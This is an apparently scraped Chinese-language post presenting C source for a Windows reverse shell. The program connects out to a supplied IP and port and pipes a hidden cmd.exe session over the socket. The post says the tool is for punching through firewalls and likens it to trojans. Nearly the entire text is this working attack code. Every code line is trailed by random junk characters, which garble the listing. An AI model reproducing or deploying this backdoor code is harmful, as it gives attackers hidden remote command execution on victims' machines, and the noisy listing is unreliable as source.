Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 dmN&+t  
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/* ============================== aCLqk'  
Rebound port in Windows NT mju>>
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By wind,2006/7 LRMx<X8  
===============================*/ D+7Rz_=  
#include @[
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#include 5RpjN: 3  
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#pragma comment(lib,"wsock32.lib") ;?g6QIN9  
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void OutputShell(); y%bF&  
SOCKET sClient; yN s,Ll~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; _M5|Y@XN-  
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void main(int argc,char **argv) H_<C!OgR  
{ f &wb  
WSADATA stWsaData; @<]Ekkg  
int nRet; h@WhNk7"xa  
SOCKADDR_IN stSaiClient,stSaiServer; ?r+-  
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if(argc != 3) yw3$2EW  
{ ye? 'Ze  
printf("Useage:\n\rRebound DestIP DestPort\n"); c>~*/%+  
return; ,V:SN~P66+  
} A;|D:;x3G  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ;H.^i|_/  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JNUt$h  
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stSaiClient.sin_family = AF_INET; u4%Pca9(=  
stSaiClient.sin_port = htons(0); tlp@?(u  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); t=O8f5Pf{  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9lH?-~9  
{ a1y-3z  
printf("Bind Socket Failed!\n"); } c}_<#I  
return; w+E,INdi  
} pKrN:ExB"\  
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stSaiServer.sin_family = AF_INET; E6gI,f/p0X  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]Y8<`;8/  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W+X6@/BO  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .oUTqki  
{ 6s/&BR  
printf("Connect Error!"); ?+a,m# Yx  
return; !|S43i&p  
} VsE9H]v   
OutputShell(); vVe';|8v  
} Ab"@714@  
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void OutputShell() >R!jB]5  
{ 1sdLDw
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char szBuff[1024]; FXN/Yq  
SECURITY_ATTRIBUTES stSecurityAttributes; ><$d$(  
OSVERSIONINFO stOsversionInfo; in-HUG  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6U,O*WJ%e  
STARTUPINFO stStartupInfo; dl@%`E48w  
char *szShell; ouFYvtFg  
PROCESS_INFORMATION stProcessInformation; ]cMqahaY  
unsigned long lBytesRead; f-n1I^|  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); R1GEh&U{  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); os={PQRD  
stSecurityAttributes.lpSecurityDescriptor = 0; g($DdKc|g  
stSecurityAttributes.bInheritHandle = TRUE; }$Tl ?BRpU  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'd$P`Vw:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); PFne+T!2F  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); XkF%.hWo  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c+$*$|t=v`  
stStartupInfo.wShowWindow = SW_HIDE; C$D-Pt"+  
stStartupInfo.hStdInput = hReadPipe; ?9\EN|O^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; tL)t"  i  
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GetVersionEx(&stOsversionInfo);
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switch(stOsversionInfo.dwPlatformId) =~H<Z LE+  
{ kep/+J-u  
case 1: ?D*/*Gk{  
szShell = "command.com"; /+;h)3PN6  
break; g8xQ|px  
default: =U|.^5sa#  
szShell = "cmd.exe"; VAf1" )pC  
break; ;he"ph=>  
} ,N[7/kT|  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3ojlB|Z  
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send(sClient,szMsg,77,0); ]d0tE?9  
while(1) Sf7\;^  
{ a\E:sPM'>  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |>27B  
if(lBytesRead) Z}l3l`h!  
{ OFv%B/O  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); TQ*1L:X7M&  
send(sClient,szBuff,lBytesRead,0); ^_u kLzP9  
} 48qV>Gwf  
else &c:Ad% z  
{ #( jw!d&  
lBytesRead=recv(sClient,szBuff,1024,0); ,5,!es@`b  
if(lBytesRead<=0) break; E}p&2P+MR  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;1.,Sn+zO  
} _Khc3Jo  
} Z99>5\k
 
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return; ()+<)hg}2  
}